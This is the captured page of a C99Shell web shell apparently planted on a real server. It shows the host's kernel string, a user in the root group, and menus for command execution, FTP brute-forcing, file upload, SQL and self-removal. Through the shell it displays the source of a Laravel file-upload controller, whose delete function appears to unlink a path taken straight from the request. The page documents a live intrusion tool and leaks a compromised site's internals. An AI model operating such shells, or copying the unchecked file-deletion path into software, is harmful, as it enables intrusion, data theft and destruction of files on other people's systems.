!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/app/Http/Controllers/   drwxr-xr-x
Free 26.78 GB of 117.98 GB (22.7%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     FilesController.php (7.11 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * @package FilesController
 * @author TechVillage <support@techvill.org>
 * @contributor Sakawat Hossain Rony <[sakawat.techvill@gmail.com]>
 * @created 12-10-2021
 */
namespace App\Http\Controllers;

use 
App\Models\File;
use 
Illuminate\Http\Request;
use 
Validator;
use 
Illuminate\Support\Facades\DB;
use 
Session;
use 
Response;

class 
FilesController extends Controller
{
    
/**
     * upload event attachments
     * @param boolean $save
     * @return json string
     **/
    
public function uploadEventAttachments(Request $request$save false)
    {
        if (!empty(
$_FILES['attachment'])) {
            
$uploaderId $request->uploader_id;
            
$tempDirectory "public/contents/temp";
            if (!
file_exists($tempDirectory)) {
                
mkdir($tempDirectoryconfig('app.filePermission'), true);
            }
            
$files $request->attachment;
            if (
$_FILES['attachment']['error'] <> || !is_uploaded_file($_FILES['attachment']['tmp_name'])) {
                
$this->_returnJSON(false__('Error in uploading file. Please try again.'));
            }

            
$maxFileSize maxFileSize($_FILES['attachment']["size"]);
            if (isset(
$maxFileSize['status']) && $maxFileSize['status'] == 0) {
                
$this->_returnJSON(false$maxFileSize['message']);
            }

            
$validator Validator::make($request->all(), []);

            
$validator->after(function ($validator) use ($request) {
                
$files  $request->file('attachment');
                if (empty(
$files)) {
                    return 
true;
                }

                if (
checkFileValidation($files->getClientOriginalExtension(), 3) == false) {
                    
$validator->errors()->add('upload_File'__('Allowed File Extensions: jpg, jpeg, png'));
                }
            });

            if (
$validator->fails()) {
                
$this->_returnJSON(false__('Invalid file type'));
            }

            
$attachment md5(time()) .'_'$uploaderId .'_'$_FILES["attachment"]["name"];
            
$attachment str_replace(array('/',' '), '_'$attachment);
            
$attachmentPath $tempDirectory .'/'$attachment;
            if (
move_uploaded_file($_FILES['attachment']['tmp_name'], $attachmentPath)) {
                
$this->_returnJSON(true, array('message' => __('Uploaded successfully'), 'attachment' => $attachment'attachment_type' => getFileIcon($_FILES["attachment"]["name"]), 'attachment_path' => $attachmentPath'attachment_name' => $_FILES["attachment"]["name"]));
            }
        }
        
$this->_returnJSON(false__('Error in uploading file. Please try again.'));
    }

    
/**
     * delete attachment
     *
     * @param Request $request
     * @return mixed
     */
    
public function deleteEventAttachment(Request $request)
    {
        
$request->filePath = isset($request->filePath) && !empty($request->filePath) ? $request->filePath $request->attachment;
        if (
$request->id != 0) {
            if (isset(
$request->thumbnail) && !empty($request->thumbnail)) {
                (new 
File)->unlinkFile($request->thumbnail);
            }
            return (new 
File)->deleteFiles(nullnull, ['ids' => [$request->id]], $request->filePath);
        } else {
            return (new 
File)->unlinkFile($request->filePath);
        }
    }

    
/**
     * @return false|string
     */
    
public function isValidFileSize()
    {
        
$maxFileSize maxFileSize($_GET['filesize']);
        if (isset(
$maxFileSize['status']) && $maxFileSize['status'] == 0) {
            return 
json_encode($maxFileSize['message']);
        }
        return  
json_encode(true);
    }

    
/**
     * Return JSON Encoded output for ajax call
     *
     * @param boolean $result
     * @param mixed $data
     * @param boolean $return if set the json encoded string will be returned
     * @return string
     */
    
protected function _returnJSON($result$data null$options = array()) {
        
$options array_merge(array('return' => false'render' => false'layout' => false), $options);
        if (
is_string($data)) {
            
$data = array('errorMessage' => $data);
        }
        
// render the current action and add to html data key
        
if (!empty($options['render'])) {
            if (!empty(
$options['layout'])) {
                
$this->layout $options['layout'];
            }
            if (empty(
$options['view'])) {
                
$options['view'] = $this->action;
            }
            
$data['html'] = $this->render($options['view']);
            if (
is_object($data['html'])) {
                if ((
$options['layout'] == 'paginated-html')) {
                    
$data['html'] = json_decode($data['html']->body(), true);
                } else {
                    
$data['html'] = $data['html']->body();
                }
            }
        }
        if (!empty(
$options['sqlLogs'])) {
            
$data['_sqlLogs'] = $options['sqlLogs'];
        }
        if (
$result !== false) {
            if (!empty(
$options['return'])) {
                return 
json_encode(array('result' => true'serverTime' => date('Y-m-d H:i:s'), 'data' => $data));
            } else {
                if (!empty(
$options['jsonResponse'])) {
                    
// send josn response without exiting the code
                    
$this->autoRender false;
                    
$this->response->body(json_encode(array('result' => true'serverTime' => date('Y-m-d H:i:s'), 'data' => $data)));
                    return 
$this->response;
                } else {
                    
// @deprecated, should be removed in the future, this is currently default way
                    
echo json_encode(array('result' => true'serverTime' => date('Y-m-d H:i:s'), 'data' => $data));
                    exit;
                }
            }
        } else {
            
$errorMessage false;
            if (!empty(
$data['errorMessage'])) {
                
$errorMessage $data['errorMessage'];
            }
            if (!empty(
$options['return'])) {
                return 
json_encode(array('result' => false'serverTime' => date('Y-m-d H:i:s'), 'errorMessage' => $errorMessage'data' => $data));
            } else {
                if (!empty(
$options['jsonResponse'])) {
                    
// send josn response without exiting the code
                    
$this->autoRender false;
                    
$this->response->body(json_encode(array('result' => false'serverTime' => date('Y-m-d H:i:s'), 'errorMessage' => $errorMessage'data' => $data)));
                    return 
$this->response;
                } else {
                    
// @deprecated, should be removed in the future, this is currently default way
                    
echo json_encode(array('result' => false'serverTime' => date('Y-m-d H:i:s'), 'errorMessage' => $errorMessage'data' => $data));
                    exit;
                }
            }
        }
    }

    public function 
downloadAttachment($id)
    {
        return (new 
File)->downloadAttachment($id);

    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0041 ]--